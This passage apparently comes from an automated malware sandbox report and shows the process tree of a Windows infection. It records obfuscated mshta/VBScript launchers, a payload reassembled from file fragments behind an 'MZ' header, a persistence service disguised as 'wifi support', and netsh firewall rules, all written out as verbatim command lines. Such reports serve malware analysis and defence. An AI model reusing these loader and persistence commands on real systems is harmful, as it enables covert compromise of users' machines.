        "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\8393696.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Local\8393696.exe" ) do taskkill -f -Im "%~NXZ"
        6⤵
        
        PID:9212
        
        C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe
        
        ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i
        7⤵
        
        PID:10088
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))
        8⤵
        
        PID:9496
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"
        9⤵
        
        PID:2596
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ).RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )
        8⤵
        
        PID:6860
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i &CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K &Del /Q *
        9⤵
        
        PID:8440
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        10⤵
        Executes dropped EXE
        
        PID:4676
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EChO "
        10⤵
        
        PID:9724
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"
        10⤵
        
        PID:8668
        
        C:\Windows\SysWOW64\control.exe
        
        control ..\WfNRfms4.K
        10⤵
        
        PID:6984
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K
        11⤵
        
        PID:7960
        
        C:\Windows\system32\RunDll32.exe
        
        C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\WfNRfms4.K
        12⤵
        
        PID:6312
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\WfNRfms4.K
        13⤵
        
        PID:204
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -Im "8393696.exe"
        7⤵
        Kills process with taskkill
        
        PID:9252
  - - C:\Users\Admin\AppData\Local\1091585.exe
      "C:\Users\Admin\AppData\Local\1091585.exe"
      4⤵
      Executes dropped EXE
      PID:5080
  - - C:\Users\Admin\AppData\Local\223771.exe
      "C:\Users\Admin\AppData\Local\223771.exe"
      4⤵
      PID:592
- - C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe
    "C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"
    3⤵
    PID:5944
- - C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe
    "C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"
    3⤵
    PID:4836
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4104 -s 1404
    3⤵
    - Program crash
    PID:5548
- C:\Users\Admin\Pictures\Adobe Films\4asJxXrCdsWimz4WNv1r303l.exe
  "C:\Users\Admin\Pictures\Adobe Films\4asJxXrCdsWimz4WNv1r303l.exe"
  2⤵
  PID:3820
- C:\Users\Admin\Pictures\Adobe Films\d6KQPt2AsTMfemCPIwrqpCnI.exe
  "C:\Users\Admin\Pictures\Adobe Films\d6KQPt2AsTMfemCPIwrqpCnI.exe"
  2⤵
  PID:6776
- C:\Users\Admin\Pictures\Adobe Films\6Ugd_sSeAB6WRDGVHqzZ3ep1.exe
  "C:\Users\Admin\Pictures\Adobe Films\6Ugd_sSeAB6WRDGVHqzZ3ep1.exe"
  2⤵
  PID:1784
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\6Ugd_sSeAB6WRDGVHqzZ3ep1.exe" & exit
    3⤵
    PID:1420
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:6780
- C:\Users\Admin\Pictures\Adobe Films\ZW39hbeiu3Y8wP6mVwG1fiHH.exe
  "C:\Users\Admin\Pictures\Adobe Films\ZW39hbeiu3Y8wP6mVwG1fiHH.exe"
  2⤵
  PID:6684
- C:\Users\Admin\Pictures\Adobe Films\OVIqknszeLIoTuqgwHIBl53O.exe
  "C:\Users\Admin\Pictures\Adobe Films\OVIqknszeLIoTuqgwHIBl53O.exe"
  2⤵
  PID:5088
- C:\Users\Admin\Pictures\Adobe Films\pPpBPLs_uvKk10GcHXDjlDP8.exe
  "C:\Users\Admin\Pictures\Adobe Films\pPpBPLs_uvKk10GcHXDjlDP8.exe"
  2⤵
  PID:6968
- - C:\Users\Admin\Pictures\Adobe Films\pPpBPLs_uvKk10GcHXDjlDP8.exe
    "C:\Users\Admin\Pictures\Adobe Films\pPpBPLs_uvKk10GcHXDjlDP8.exe"
    3⤵
    PID:3184
- C:\Users\Admin\Pictures\Adobe Films\akvrMST_cqf6_aWzmvQeJPuH.exe
  "C:\Users\Admin\Pictures\Adobe Films\akvrMST_cqf6_aWzmvQeJPuH.exe"
  2⤵
  PID:1932
- C:\Users\Admin\Pictures\Adobe Films\stEOwiIS3Hy0D0jqOWnHcCns.exe
  "C:\Users\Admin\Pictures\Adobe Films\stEOwiIS3Hy0D0jqOWnHcCns.exe"
  2⤵
  - Executes dropped EXE
  PID:2976
- C:\Users\Admin\Pictures\Adobe Films\g4lMPzLqM7DQIG18urPhmz4Z.exe
  "C:\Users\Admin\Pictures\Adobe Films\g4lMPzLqM7DQIG18urPhmz4Z.exe"
  2⤵
  PID:3880
- - C:\Program Files (x86)\Company\NewProduct\cutm3.exe
    "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
    3⤵
    PID:4624
- C:\Users\Admin\Pictures\Adobe Films\SEYhgyL0V1xfAkLC6QjSgkJg.exe
  "C:\Users\Admin\Pictures\Adobe Films\SEYhgyL0V1xfAkLC6QjSgkJg.exe"
  2⤵
  PID:6840
- - C:\Users\Admin\Pictures\Adobe Films\SEYhgyL0V1xfAkLC6QjSgkJg.exe
    "C:\Users\Admin\Pictures\Adobe Films\SEYhgyL0V1xfAkLC6QjSgkJg.exe"
    3⤵
    PID:6336
- C:\Users\Admin\Pictures\Adobe Films\WAmJK7GLvq2gpuMmqRdYc9wi.exe
  "C:\Users\Admin\Pictures\Adobe Films\WAmJK7GLvq2gpuMmqRdYc9wi.exe"
  2⤵
  PID:6892
- - C:\Users\Admin\Pictures\Adobe Films\WAmJK7GLvq2gpuMmqRdYc9wi.exe
    "C:\Users\Admin\Pictures\Adobe Films\WAmJK7GLvq2gpuMmqRdYc9wi.exe"
    3⤵
    PID:3780
- C:\Users\Admin\Pictures\Adobe Films\98nC3NH37qSrDP4ApMMWEUi5.exe
  "C:\Users\Admin\Pictures\Adobe Films\98nC3NH37qSrDP4ApMMWEUi5.exe"
  2⤵
  PID:7368
- C:\Users\Admin\Pictures\Adobe Films\Kq11twRaKrPmiuiyui_lIlku.exe
  "C:\Users\Admin\Pictures\Adobe Films\Kq11twRaKrPmiuiyui_lIlku.exe"
  2⤵
  PID:8684
- - C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
    C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
    3⤵
    PID:10032
  - - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
      "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"
      4⤵
      PID:9184

C:\Users\Admin\AppData\Local\Temp\is-SPTKN.tmp\Fri0471ced4d802994.tmp
"C:\Users\Admin\AppData\Local\Temp\is-SPTKN.tmp\Fri0471ced4d802994.tmp" /SL5="$201D0,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri0471ced4d802994.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2288
- C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri0471ced4d802994.exe
  "C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri0471ced4d802994.exe" /SILENT
  2⤵
  - Executes dropped EXE
  PID:4092
- - C:\Users\Admin\AppData\Local\Temp\is-Q3R52.tmp\Fri0471ced4d802994.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-Q3R52.tmp\Fri0471ced4d802994.tmp" /SL5="$10218,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri0471ced4d802994.exe" /SILENT
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4268

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
1⤵
- Executes dropped EXE
PID:4152
- C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
  "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4348
- - C:\Users\Admin\AppData\Roaming\4731222.exe
    "C:\Users\Admin\AppData\Roaming\4731222.exe"
    3⤵
    PID:1768
- - C:\Users\Admin\AppData\Roaming\8937676.exe
    "C:\Users\Admin\AppData\Roaming\8937676.exe"
    3⤵
    PID:4216
- - C:\Users\Admin\AppData\Roaming\4526244.exe
    "C:\Users\Admin\AppData\Roaming\4526244.exe"
    3⤵
    PID:4828
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\4526244.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\4526244.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))
      4⤵
      PID:5404
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\4526244.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\4526244.exe" ) do taskkill -f -Im "%~NXZ"
        5⤵
        
        PID:5800
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -Im "4526244.exe"
        6⤵
        Kills process with taskkill
        
        PID:5192
      - C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe
        
        ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i
        6⤵
        
        PID:4648
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))
        7⤵
        
        PID:6672
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"
        8⤵
        
        PID:6996
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ).RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )
        7⤵
        
        PID:6556
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i &CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K &Del /Q *
        8⤵
        Blocklisted process makes network request
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1536
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EChO "
        9⤵
        
        PID:5576
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"
        9⤵
        
        PID:6872
        
        C:\Windows\SysWOW64\control.exe
        
        control ..\WfNRfms4.K
        9⤵
        
        PID:4192
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K
        10⤵
        
        PID:4876
        
        C:\Windows\system32\RunDll32.exe
        
        C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\WfNRfms4.K
        11⤵
        
        PID:11792
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\WfNRfms4.K
        12⤵
        
        PID:11856
- - C:\Users\Admin\AppData\Roaming\8222427.exe
    "C:\Users\Admin\AppData\Roaming\8222427.exe"
    3⤵
    PID:2624
  - - C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
      "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
      4⤵
      PID:5844
- - C:\Users\Admin\AppData\Roaming\614319.exe
    "C:\Users\Admin\AppData\Roaming\614319.exe"
    3⤵
    PID:5228
- C:\Users\Admin\AppData\Local\Temp\inst1.exe
  "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
  2⤵
  - Executes dropped EXE
  PID:4436
- C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe
  "C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"
  2⤵
  - Executes dropped EXE
  PID:4540
- C:\Users\Admin\AppData\Local\Temp\4.exe
  "C:\Users\Admin\AppData\Local\Temp\4.exe"
  2⤵
  PID:4656
- - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
    "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
    3⤵
    PID:4204
- C:\Users\Admin\AppData\Local\Temp\5.exe
  "C:\Users\Admin\AppData\Local\Temp\5.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4792
- C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe
  "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"
  2⤵
  - Executes dropped EXE
  PID:4872
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
    3⤵
    PID:3172
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"
      4⤵
      PID:4948
    - - C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
        
        ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
        5⤵
        
        PID:5484
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        6⤵
        
        PID:5808
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
        7⤵
        
        PID:5756
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )
        6⤵
        
        PID:6696
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC
        7⤵
        
        PID:1828
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHo "
        8⤵
        
        PID:2648
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
        8⤵
        
        PID:4188
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec -Y ..\lXQ2g.WC
        8⤵
        
        PID:4212
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -iM "search_hyperfs_206.exe"
        5⤵
        Kills process with taskkill
        
        PID:5448
- C:\Users\Admin\AppData\Local\Temp\setup.exe
  "C:\Users\Admin\AppData\Local\Temp\setup.exe"
  2⤵
  - Executes dropped EXE
  PID:4972
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4972 -s 796
    3⤵
    - Program crash
    PID:6692
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4972 -s 812
    3⤵
    - Program crash
    PID:7056
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4972 -s 820
    3⤵
    - Program crash
    PID:3056
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4972 -s 824
    3⤵
    - Program crash
    PID:2596
- C:\Users\Admin\AppData\Local\Temp\jgliu-game.exe
  "C:\Users\Admin\AppData\Local\Temp\jgliu-game.exe"
  2⤵
  PID:5080
- C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
  "C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
  2⤵
  - Executes dropped EXE
  PID:4244
- - C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
    C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
    3⤵
    PID:6796
  - - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
      "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"
      4⤵
      PID:6612
- C:\Users\Admin\AppData\Local\Temp\6.exe
  "C:\Users\Admin\AppData\Local\Temp\6.exe"
  2⤵
  PID:3564
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 3564 -s 1528
    3⤵
    - Program crash
    PID:6092
- C:\Users\Admin\AppData\Local\Temp\Chrome5.exe
  "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"
  2⤵
  PID:4548
- - C:\Windows\System32\conhost.exe
    "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"
    3⤵
    PID:6164

C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri04f70c88181ec8.exe
Fri04f70c88181ec8.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3944
- C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri04f70c88181ec8.exe
  C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri04f70c88181ec8.exe
  2⤵
  - Executes dropped EXE
  PID:4692

C:\Users\Admin\AppData\Local\Temp\7zS4E3DFB46\Fri0471ced4d802994.exe
Fri0471ced4d802994.exe
1⤵
- Executes dropped EXE
PID:3896

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2156
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:4480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:6028

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6684 -s 312
1⤵
- Program crash
PID:6068

C:\Windows\SysWOW64\autoconv.exe
"C:\Windows\SysWOW64\autoconv.exe"
1⤵
PID:4476

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\SysWOW64\cmd.exe"
1⤵
PID:5056

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:7812
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:3704

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:10104
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:8836

C:\Users\Admin\AppData\Local\Temp\3ED3.exe
C:\Users\Admin\AppData\Local\Temp\3ED3.exe
1⤵
PID:8604
- C:\Users\Admin\AppData\Local\Temp\3ED3.exe
  C:\Users\Admin\AppData\Local\Temp\3ED3.exe
  2⤵
  PID:10008

\??\c:\windows\system\svchost.exe
c:\windows\system\svchost.exe
1⤵
PID:4636

C:\Users\Admin\AppData\Local\Temp\546F.exe
C:\Users\Admin\AppData\Local\Temp\546F.exe
1⤵
PID:5836
- C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe
  "C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"
  2⤵
  PID:4476

C:\Users\Admin\AppData\Local\Temp\79BB.exe
C:\Users\Admin\AppData\Local\Temp\79BB.exe
1⤵
PID:7604
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\coruttds\
  2⤵
  PID:8188
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\afpfty.exe" C:\Windows\SysWOW64\coruttds\
  2⤵
  PID:8052
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" create coruttds binPath= "C:\Windows\SysWOW64\coruttds\afpfty.exe /d\"C:\Users\Admin\AppData\Local\Temp\79BB.exe\"" type= own start= auto DisplayName= "wifi support"
  2⤵
  PID:7984
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" description coruttds "wifi internet conection"
  2⤵
  PID:5796
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" start coruttds
  2⤵
  PID:2260
- C:\Users\Admin\glkiyenc.exe
  "C:\Users\Admin\glkiyenc.exe" /d"C:\Users\Admin\AppData\Local\Temp\79BB.exe"
  2⤵
  PID:4804
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xufkispm.exe" C:\Windows\SysWOW64\coruttds\
    3⤵
    PID:4968
- - C:\Windows\SysWOW64\sc.exe
    "C:\Windows\System32\sc.exe" config coruttds binPath= "C:\Windows\SysWOW64\coruttds\xufkispm.exe /d\"C:\Users\Admin\glkiyenc.exe\""
    3⤵
    PID:8160
- - C:\Windows\SysWOW64\sc.exe
    "C:\Windows\System32\sc.exe" start coruttds
    3⤵
    PID:7616
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
    3⤵
    PID:8836
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8641.bat" "
    3⤵
    PID:9020
- C:\Windows\SysWOW64\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
  2⤵
  PID:5956

C:\Users\Admin\AppData\Local\Temp\CC9F.exe
C:\Users\Admin\AppData\Local\Temp\CC9F.exe
1⤵
PID:6328

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:5964
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 2E805B31089B27D4DB50E56037014645 C
  2⤵
  PID:8476

C:\Users\Admin\AppData\Local\Temp\EAC7.exe
C:\Users\Admin\AppData\Local\Temp\EAC7.exe
1⤵
PID:7516

C:\Users\Admin\AppData\Local\Temp\FDB3.exe
C:\Users\Admin\AppData\Local\Temp\FDB3.exe
1⤵
PID:7376

C:\Windows\system32\compattelrunner.exe
C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
1⤵
PID:1928

C:\Users\Admin\AppData\Local\Temp\2949.exe
C:\Users\Admin\AppData\Local\Temp\2949.exe
1⤵
PID:10184
- C:\Users\Admin\AppData\Local\Temp\2949.exe
  C:\Users\Admin\AppData\Local\Temp\2949.exe
  2⤵
  PID:5692

C:\Users\Admin\AppData\Local\Temp\67BA.exe
C:\Users\Admin\AppData\Local\Temp\67BA.exe
1⤵
PID:2008
- C:\Users\Admin\AppData\Local\Temp\67BA.exe
  C:\Users\Admin\AppData\Local\Temp\67BA.exe
  2⤵
  PID:6604

C:\Users\Admin\AppData\Local\Temp\8768.exe
C:\Users\Admin\AppData\Local\Temp\8768.exe
1⤵
PID:5284

C:\Users\Admin\AppData\Local\Temp\C201.exe
